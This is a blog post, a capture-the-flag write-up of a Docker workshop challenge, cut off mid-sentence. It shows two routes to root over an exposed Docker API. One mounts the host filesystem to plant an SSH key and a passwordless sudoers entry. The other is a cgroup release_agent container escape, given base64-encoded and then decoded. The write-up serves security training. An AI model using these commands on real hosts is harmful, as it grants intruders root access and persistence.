{"id":586,"date":"2020-03-17T01:00:00","date_gmt":"2020-03-17T07:00:00","guid":{"rendered":"https:\/\/hackarandas.com\/blog\/?p=586"},"modified":"2025-09-25T22:49:14","modified_gmt":"2025-09-26T04:49:14","slug":"hacking-docker-remotely","status":"publish","type":"post","link":"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/","title":{"rendered":"Hacking Docker Remotely"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/hackarandas.com\/blog\/wp-content\/uploads\/2020\/03\/docker_target.png\" alt=\"\" width=\"275\" height=\"183\" class=\"alignleft size-full wp-image-592\" \/><br \/>\nThe following is a write up for a challenge given during a Docker security workshop in the company I work for. It was a lot of fun and ironically I managed to complete the challenge not exactly how they were expecting so that&#8217;s why I am presenting two attack vectors. The second attack vector is how they were expecting people to complete the challenge.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 ez-toc-wrap-left counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-toggle-hide-by-default' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#the_challenge\" >The Challenge<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#preparations\" >Preparations<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#accessing_the_jump_host\" >Accessing the Jump Host<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#discovery\" >Discovery<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#preparing_the_attack\" >Preparing the Attack<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#personal_computer\" >Personal Computer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#jump_host\" >Jump Host<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#attack_vector_1_ssh_and_sudo_abuse\" >Attack Vector 1: SSH and Sudo Abuse<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#attack_vector_2_remote_docker_server_abuse\" >Attack Vector 2: Remote Docker Server Abuse<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#creating_the_exploit\" >Creating the Exploit<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#preparing_the_attack-2\" >Preparing the Attack<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#executing_the_attack\" >Executing the Attack<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/hackarandas.com\/blog\/2020\/03\/17\/hacking-docker-remotely\/#references\" >References<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"the_challenge\"><\/span>The Challenge<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The participants will have SSH access to a remote server in AWS. The goal is to show that the attacker can execute a process as the user root in another server in the local network running an insecure Docker service.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"preparations\"><\/span>Preparations<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I am lazy so I usually configure my SSH config file (~\/.ssh\/config):<\/p>\n<pre lang=\"text\">\nHost docker-ctf\n    Hostname 3.135.YY.XX\n    User ubuntu\n    Port 22\n    IdentityFile ~\/.ssh\/id_rsa_docker\n    UserKnownHostsFile ~\/.ssh\/known_hosts_delme\n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"accessing_the_jump_host\"><\/span>Accessing the Jump Host<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The train of though for this attack is:<\/p>\n<ol>\n<li>Access the remote server via SSH<\/li>\n<li>Perform a discovery ping sweep<\/li>\n<li>Once I found the target server perform a port scan to see what is open<\/li>\n<\/ol>\n<p>So let&#8217;s start.<\/p>\n<pre lang=\"bash\">\n$ ssh docker-ctf\nWelcome to Ubuntu 18.04.4 LTS (GNU\/Linux 4.15.0-1058-aws x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n  System information as of Thu Mar  5 22:47:14 UTC 2020\n\n  System load:  0.0               Processes:           91\n  Usage of \/:   30.9% of 7.69GB   Users logged in:     0\n  Memory usage: 18%               IP address for eth0: 10.42.2.129\n  Swap usage:   0%\n\n\n14 packages can be updated.\n0 updates are security updates.\n\n\n*** System restart required ***\nLast login: Thu Mar  5 19:21:38 2020 from x.x.x.x\n\nubuntu@ip-10-42-2-129:~$ \n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"discovery\"><\/span>Discovery<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Good, access is granted, let&#8217;s start this challenge by looking for other servers in the network.<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~\/ctf$ nmap -sP -oA scan 10.42.2.129\/24\nHost: 10.42.2.77 () Status: Up\nHost: 10.42.2.129 (ip-10-42-2-129)  Status: Up\n# Nmap done at Thu Mar  5 18:35:46 2020 -- 256 IP addresses (2 hosts up) scanned in 6.39 seconds\nubuntu@ip-10-42-2-129:~$ \n<\/pre>\n<p>Nice! Another server, let&#8217;s scan it<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~\/ctf$  nmap -sCV 10.42.2.77 -oA 10.42.2.77\n\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2020-03-05 18:38 UTC\nNmap scan report for 10.42.2.77\nHost is up (0.0017s latency).\nNot shown: 999 closed ports\nPORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:\n|   2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)\n|   256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)\n|_  256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nubuntu@ip-10-42-2-129:~$ \n<\/pre>\n<p>Not good enough, let&#8217;s do a wider scan<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~\/ctf$ nmap -sCV 10.42.2.77 -oA 10.42.2.77 -p 0-65535\n\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2020-03-05 18:38 UTC\nCompleted Service scan at 18:40, 81.12s elapsed (2 services on 1 host)\nNSE: Script scanning 10.42.2.77.\nInitiating NSE at 18:40\nCompleted NSE at 18:40, 0.08s elapsed\nInitiating NSE at 18:40\nCompleted NSE at 18:40, 0.00s elapsed\nNmap scan report for 10.42.2.77\nHost is up (0.0086s latency).\nNot shown: 65534 closed ports\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey:\n|   2048 57:0d:56:8e:b4:a5:68:31:3b:75:6e:b2:db:eb:c1:e9 (RSA)\n|   256 9b:5a:18:4d:71:20:24:66:e6:de:27:1e:d2:7f:60:c3 (ECDSA)\n|_  256 5e:5e:26:65:ca:a7:f4:59:ac:f8:22:ea:ef:c5:a0:01 (EdDSA)\n2376\/tcp open  docker  Docker 19.03.5\n| docker-version:\n|   Version: 19.03.5\n|   MinAPIVersion: 1.12\n|   Os: linux\n--8<------8<------8<------8<------8<------8<------8<------8<------8<------8<------8<--\n-->8------>8------>8------>8------>8------>8------>8------>8------>8------>8------>8--\n|     Ostype: linux\n|     Server: Docker\/19.03.5 (linux)\n|     Date: Thu, 05 Mar 2020 18:39:08 GMT\n|_    Content-Length: 0\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nNSE: Script Post-scanning.\nInitiating NSE at 18:40\nCompleted NSE at 18:40, 0.00s elapsed\nInitiating NSE at 18:40\nCompleted NSE at 18:40, 0.00s elapsed\nRead data files from: \/usr\/bin\/..\/share\/nmap\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 83.80 seconds\nubuntu@ip-10-42-2-129:~$ \n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"preparing_the_attack\"><\/span>Preparing the Attack<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Oh righty, this is getting good! Let&#8217;s point our Docker client to the server and port that we just found and see what we can get from it.<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~$ export DOCKER_HOST=tcp:\/\/10.42.2.77:2376\nubuntu@ip-10-42-2-129:~$ docker ps\nCONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES\n\nubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -t ubuntu bash\nUnable to find image 'ubuntu:latest' locally\ndocker: Error response from daemon: Get https:\/\/registry-1.docker.io\/v2\/: net\/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers).\nSee 'docker run --help'.\nubuntu@ip-10-42-2-129:~$\n<\/pre>\n<p>OK, so we have the Docker client installed in the jump host but it seems that the target server cannot reach the Internet, this makes sense to mitigate this kind of attack but it will not stop me. This are the steps to follow:<\/p>\n<ol>\n<li>Get the attack docker image in our personal laptop<\/li>\n<li>Convert the export the attack docker image into a tarball<\/li>\n<li>Upload the attack docker image into the jump host<\/li>\n<li>Import the attack image into the remote docker service.<\/li>\n<\/ol>\n<h3><span class=\"ez-toc-section\" id=\"personal_computer\"><\/span>Personal Computer<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<pre lang=\"bash\">\n$ docker pull ubuntu\nUsing default tag: latest\nlatest: Pulling from library\/ubuntu\n423ae2b273f4: Pull complete\nde83a2304fa1: Pull complete\nf9a83bce3af0: Pull complete\nb6b53be908de: Pull complete\nDigest: sha256:04d48df82c938587820d7b6006f5071dbbffceb7ca01d2814f81857c631d44df\nStatus: Downloaded newer image for ubuntu:latest\ndocker.io\/library\/ubuntu:latest\n$ docker save ubuntu -o \/tmp\/ubuntu.tgz\n$ scp \/tmp\/ubuntu.tgz docker-ctf:~\/\nubuntu.tgz                                                                                     100%   64MB   3.2MB\/s   00:19\n$\n<\/pre>\n<p>The image is now in the jump host. Now we need to import it into the remote Docker server. Notice how the image is transferred from the jump host to the remote docker server by using the Docker client.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"jump_host\"><\/span>Jump Host<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~$ ls\nubuntu.tgz\nubuntu@ip-10-42-2-129:~$ docker load < ubuntu.tgz\ncc4590d6a718: Loading layer  [===============================>]   65.58MB\/65.58MB\n8c98131d2d1d: Loading layer  [===============================>]   991.2kB\/991.2kB\n03c9b9f537a4: Loading layer  [===============================>]   15.87kB\/15.87kB\n1852b2300972: Loading layer  [===============================>]   3.072kB\/3.072kB\nLoaded image: ubuntu:latest\n\nubuntu@ip-10-42-2-129:~$ docker images\nREPOSITORY          TAG                 IMAGE ID            CREATED             SIZE\nubuntu              latest              72300a873c2c        12 days ago         64.2MB\nubuntu@ip-10-42-2-129:~$ \n<\/pre>\n<p>This is good progress. From here I will explain two possible scenarios. One is an account takeover by abusing SSH and privilege escalation by abusing Sudo. The other scenario is where access to the SSH server and only the Docker service is exposed.<\/p>\n<h1><span class=\"ez-toc-section\" id=\"attack_vector_1_ssh_and_sudo_abuse\"><\/span>Attack Vector 1: SSH and Sudo Abuse<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>This attack is based in a technique I found in the book <a href=\"https:\/\/www.blackhat.com\/presentations\/bh-usa-07\/Moore_and_Valsmith\/Whitepaper\/bh-usa-07-moore_and_valsmith-WP.pdf\" rel=\"noopener noreferrer\" target=\"_blank\">Tactical Exploitation<\/a> by <a href=\"https:\/\/hdm.io\/\" rel=\"noopener noreferrer\" target=\"_blank\">H.D. Moore<\/a> and <a href=\"https:\/\/twitter.com\/mvalsmith\" rel=\"noopener noreferrer\" target=\"_blank\">Valsmith<\/a>, specifically in section 4.4.1 NFS Home Directories in page 29. I am adapting the attack to abuse the remote SSH server and Sudo by exploiting the remote Docker service. This is how I do it:<\/p>\n<p>First I execute run a docker container using the docker attack image I uploaded before. The trick is to run the container as root using the flag <code>-u 0<\/code> and mount the root <code>\/<\/code> directory of the docker server in the <code>\/mnt<\/code> directory of the docker container.<\/p>\n<pre lang=\"bash\">\nubuntu@ip-10-42-2-129:~$ docker run --name ubuntu_bash --rm -i -v \/:\/mnt -u 0  -t ubuntu bash\nroot@2e29c9224caa:\/# cd \/mnt\/\nroot@2e29c9224caa:\/mnt# ls\nbin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old\nubuntu@ip-10-42-2-129:~$\n<\/pre>\n<p>Now running as root in the container and having the file system mapped into the <code>\/mnt<\/code> directory of the container to do two things:<\/p>\n<p>1.- I copy my public SSH key into the ubuntu&#8217;s user <code>authorized_keys<\/code> in his <code>~\/.ssh<\/code> folder:<\/p>\n<pre lang=\"bash\">\nroot@2e29c9224caa:\/# cd \/mnt\/home\/ubuntu\/.ssh\nroot@2e29c9224caa:\/mnt\/home\/ubuntu\/.ssh# cat >> authorized_keys\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZYh5HokO0Znz3wuNGXSQNxIYGpBUzz1eb0mSWPbFa+6aF5Ob+RuSBJ\/4lMgjS+N\/kQpVoE90jxY017cAZ\/Wx2s7O3FFRtgrpfvv60QoJV2mE6YHF2jImiKzPCXr22fAczO9cnvsHd6zmB5pAB22zIPJ5heQQbh5yfIPw7qEjOUZJHOUuji9oCJK28ZN2JVI\/e1hfrLUT8zyGxMtK0OgBfuS2ZZlYFsFmPN8bEpP9vn9Om+X9TIM9+x+FsZWLlf2BdkkXmzJzDeCHuacNufR3w+ZzUYBnkWUEzEy3elZ1ScUx5xhoy29f\/myO7FgN+yUZarcopKT2usnw1iPLIXH8P\n^C\nroot@2e29c9224caa:\/#\n<\/pre>\n<p>2.- Now I give the user ubuntu sudo privileges with no password:<\/p>\n<pre lang=\"bash\">\nroot@2e29c9224caa:\/# cd \/mnt\/etc\nroot@2e29c9224caa:\/mnt\/etc# cat >> sudoers\nubuntu ALL=(ALL) NOPASSWD: ALL\n^C\nroot@2e29c9224caa:\/#\n<\/pre>\n<p>Good now we are ready to take control of the remote system with SSH. But first I update my SSH config file (~\/.ssh\/config) for convenience.<\/p>\n<pre lang=\"bash\">\nHost docker-ctf\n    Hostname 3.135.YY.XX\n    User ubuntu\n    Port 22\n    IdentityFile ~\/.ssh\/id_rsa_docker\n    UserKnownHostsFile ~\/.ssh\/known_hosts_delme\n\nHost target\n    Hostname 10.42.2.77\n    User ubuntu\n    Port 22\n    IdentityFile ~\/.ssh\/id_rsa_docker\n    UserKnownHostsFile ~\/.ssh\/known_hosts_delme\n<\/pre>\n<p>SSH into the server and finish the pwning. I use the docker-ctf as a jump host with the <code>-J<\/code> flag in SSH. Yeah I know, I can use the <code>ProxyCommand ssh -q -W %h:%p docker-ctf<\/code> parameter in the config file but I wanted to show the <code>-J<\/code> trick.<\/p>\n<pre lang=\"bash\">\n$ ssh -J docker-ctf target\nWelcome to Ubuntu 18.04.4 LTS (GNU\/Linux 4.15.0-1058-aws x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n  System information as of Thu Mar  5 19:46:25 UTC 2020\n\n  System load:  0.0               Processes:              92\n  Usage of \/:   25.8% of 7.69GB   Users logged in:        0\n  Memory usage: 24%               IP address for eth0:    10.42.2.77\n  Swap usage:   0%                IP address for docker0: 172.17.0.1\n\n\n0 packages can be updated.\n0 updates are security updates.\n\nFailed to connect to https:\/\/changelogs.ubuntu.com\/meta-release-lts. Check your Internet connection or proxy settings\n\nLast login: Thu Mar  5 19:44:45 2020 from 10.42.2.129\n\nubuntu@ip-10-42-2-77:~$ sudo -i\nroot@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)\n<\/pre>\n<p>w00t w00t! Now let&#8217;s execute the command as root to win the challenge.<\/p>\n<pre lang=\"bash\">\nroot@ip-10-42-2-77:~# cat > runme.sh\nfor ((;;)); do id; echo Hello world > \/dev\/stderr ; sleep 20 ; done\n^C\nroot@ip-10-42-2-77:~# bash runme.sh &\n[1] 4456\nroot@ip-10-42-2-77:~# uid=0(root) gid=0(root) groups=0(root)\nHello world\n\nroot@ip-10-42-2-77:~# ps axu | grep runme\nroot      4456  0.0  0.3  13312  3176 pts\/0    S    19:47   0:00 bash runme.sh\nroot      4464  0.0  0.1  14856  1076 pts\/0    S+   19:47   0:00 grep --color=auto runme\nroot@ip-10-42-2-77:~#\n<\/pre>\n<p>Profit!<\/p>\n<h1><span class=\"ez-toc-section\" id=\"attack_vector_2_remote_docker_server_abuse\"><\/span>Attack Vector 2: Remote Docker Server Abuse<span class=\"ez-toc-section-end\"><\/span><\/h1>\n<p>This attack is based on a technique that <a href=\"https:\/\/twitter.com\/_fel1x\" rel=\"noopener noreferrer\" target=\"_blank\">Felix Wilhelm<\/a> mentioned in his twitter account <a href=\"https:\/\/twitter.com\/_fel1x\" rel=\"noopener noreferrer\" target=\"_blank\">@_fel1x<\/a>:<\/p>\n<p><center><\/p>\n<blockquote class=\"twitter-tweet\" data-lang=\"en\">\n<p lang=\"en\" dir=\"ltr\">d=`dirname $(ls -x \/s*\/fs\/c*\/*\/r* |head -n1)`<br \/>mkdir -p <a href=\"https:\/\/twitter.com\/search?q=%24d&amp;src=ctag&amp;ref_src=twsrc%5Etfw\">$d<\/a>\/w;echo 1 &gt;$d\/w\/notify_on_release<br \/>t=`sed -n &#8216;s\/.*\\perdir=\\([^,]*\\).*\/\\1\/p&#8217; \/etc\/mtab`<br \/>touch \/o; echo <a href=\"https:\/\/twitter.com\/search?q=%24t&amp;src=ctag&amp;ref_src=twsrc%5Etfw\">$t<\/a>\/c &gt;$d\/release_agent;echo &quot;#!\/bin\/sh<br \/>$1 &gt;$t\/o&quot; &gt;\/c;chmod +x \/c;sh -c &quot;echo 0 &gt;$d\/w\/cgroup.procs&quot;;sleep 1;cat \/o<\/p>\n<p>&mdash; Felix Wilhelm (@_fel1x) <a href=\"https:\/\/twitter.com\/_fel1x\/status\/1151487051986087936?ref_src=twsrc%5Etfw\">July 17, 2019<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><br \/>\n<\/center><\/p>\n<p>Then I found more details in an excellent blog post by <a href=\"https:\/\/blog.trailofbits.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">Trail of Bits<\/a> titled <a href=\"https:\/\/blog.trailofbits.com\/2019\/07\/19\/understanding-docker-container-escapes\/\" rel=\"noopener noreferrer\" target=\"_blank\">Understanding Docker Container Escapes<\/a>. Please, pay them a visit since I am not going to go deep into the details of the technique but show my version of the attack.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"creating_the_exploit\"><\/span>Creating the Exploit<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>The goal of the attack is to be able to write a one liner that abuses the remote Docker server and writes a script in the file system of the host running the malicious Docker container. The payload will be delivered in a base64 encoded string. This is the attack:<\/p>\n<pre lang=\"bash\">\ncm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq\/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK\n<\/pre>\n<p>We can decode it using <a href=\"http:\/\/icyberchef.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">CyberChef<\/a> and the <a href=\"http:\/\/icyberchef.com\/#recipe=From_Base64('A-Za-z0-9%2B\/%3D',true)\" rel=\"noopener noreferrer\" target=\"_blank\">From Base64<\/a> recipe. This is the output:<\/p>\n<pre lang=\"bash\">\nrnd_dir=$(date +%s | md5sum | head -c 10)\nmkdir \/tmp\/cgrp && mount -t cgroup -o rdma cgroup \/tmp\/cgrp && mkdir \/tmp\/cgrp\/${rnd_dir}\necho 1 > \/tmp\/cgrp\/${rnd_dir}\/notify_on_release\nhost_path=`sed -n 's\/.*\\perdir=\\([^,]*\\).*\/\\1\/p' \/etc\/mtab`\necho \"$host_path\/cmd\" > \/tmp\/cgrp\/release_agent\ncat > \/cmd << _END\n#!\/bin\/sh\ncat > \/runme.sh << EOF\nsleep 30 \nEOF\nsh \/runme.sh &#038;\nsleep 5\nifconfig eth0 > \"${host_path}\/output\"\nhostname >> \"${host_path}\/output\"\nid >> \"${host_path}\/output\"\nps axu | grep runme.sh >> \"${host_path}\/output\"\n_END\n\n## Now we trick the docker daemon to execute the script.\nchmod a+x \/cmd\nsh -c \"echo \\$\\$ > \/tmp\/cgrp\/${rnd_dir}\/cgroup.procs\"\n## Waiiiiit for it...\nsleep 6\ncat \/output\necho \"\u2022?((\u00af\u00b0\u00b7._.\u2022 profit! \u2022._.\u00b7\u00b0\u00af))\u00df\u2022\"\n<\/pre>\n<p>In this piece of code, the attack abuses the functionality of the <code>notify_on_release<\/code> feature in <code>cgroups<\/code> v1 to run the exploit as a fully privileged root user<sub><a href=\"#ref_1\">ref 1<\/a><\/sub>.<\/p>\n<pre lang=\"bash\">\nrnd_dir=$(date +%s | md5sum | head -c 10)\nmkdir \/tmp\/cgrp && mount -t cgroup -o rdma cgroup \/tmp\/cgrp && mkdir \/tmp\/cgrp\/${rnd_dir}\necho 1 > \/tmp\/cgrp\/${rnd_dir}\/notify_on_release\n<\/pre>\n<p>When the last task in a <code>cgroups<\/code> leaves (by exiting or attaching to another <code>cgroups<\/code>), a command supplied in the <code>release_agent<\/code> file is executed. The intended use for this is to help prune abandoned <code>cgroups<\/code>. This command, when invoked, is run as a fully privileged root on the host<sub><a href=\"#ref_1\">ref 1<\/a><\/sub>.<\/p>\n<pre lang=\"bash\">\nhost_path=`sed -n 's\/.*\\perdir=\\([^,]*\\).*\/\\1\/p' \/etc\/mtab`\necho \"$host_path\/cmd\" > \/tmp\/cgrp\/release_agent\n<\/pre>\n<p>This step will create the script that the abused docker server will execute allowing us to spawn our own process.<\/p>\n<pre lang=\"bash\">\ncat > \/cmd << _END\n#!\/bin\/sh\ncat > \/runme.sh << EOF\nsleep 30 \nEOF\nsh \/runme.sh &#038;\n\n## Now we look for the process\nsleep 5\nifconfig eth0 > \"${host_path}\/output\"\nhostname >> \"${host_path}\/output\"\nid >> \"${host_path}\/output\"\nps axu | grep runme.sh >> \"${host_path}\/output\"\n_END\n<\/pre>\n<p>Now we abuse the docker daemon to execute the script.<\/p>\n<pre lang=\"bash\">\nchmod a+x \/cmd\nsh -c \"echo \\$\\$ > \/tmp\/cgrp\/${rnd_dir}\/cgroup.procs\"\n## Waiiiiit for it...\nsleep 6\ncat \/output\necho \"\u2022?((\u00af\u00b0\u00b7._.\u2022 profit! \u2022._.\u00b7\u00b0\u00af))\u00df\u2022\"\n<\/pre>\n<h2><span class=\"ez-toc-section\" id=\"preparing_the_attack-2\"><\/span>Preparing the Attack<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I owe this section to <a href=\"https:\/\/blog.trailofbits.com\/\" rel=\"noopener noreferrer\" target=\"_blank\">Trail of Bits&#8217;<\/a> post titled <a href=\"https:\/\/blog.trailofbits.com\/2019\/07\/19\/understanding-docker-container-escapes\/\" rel=\"noopener noreferrer\" target=\"_blank\">Understanding Docker Container Escapes<\/a>. I am copying most of it because I don&#8217;t think I can write it better and because I am also lazy.<\/p>\n<p>We can run the attack with the <code>--privileged<\/code> flag but that provides far more permissions than needed to escape a docker container via this method. In reality, the only requirements are:<\/p>\n<ol>\n<li>We must be running as root inside the container<\/li>\n<li>The container must be run with the SYS_ADMIN Linux capability<\/li>\n<li>The container must lack an AppArmor profile, or otherwise allow the mount syscall<\/li>\n<li>The cgroup v1 virtual file system must be mounted read-write inside the container<\/li>\n<\/ol>\n<p>The SYS_ADMIN capability allows a container to perform the mount syscall (see man 7 capabilities). Docker starts containers with a restricted set of capabilities by default and does not enable the SYS_ADMIN capability due to the security risks of doing so.<\/p>\n<p>Further, Docker starts containers with the docker-default AppArmor policy by default, which prevents the use of the mount syscall even when the container is run with 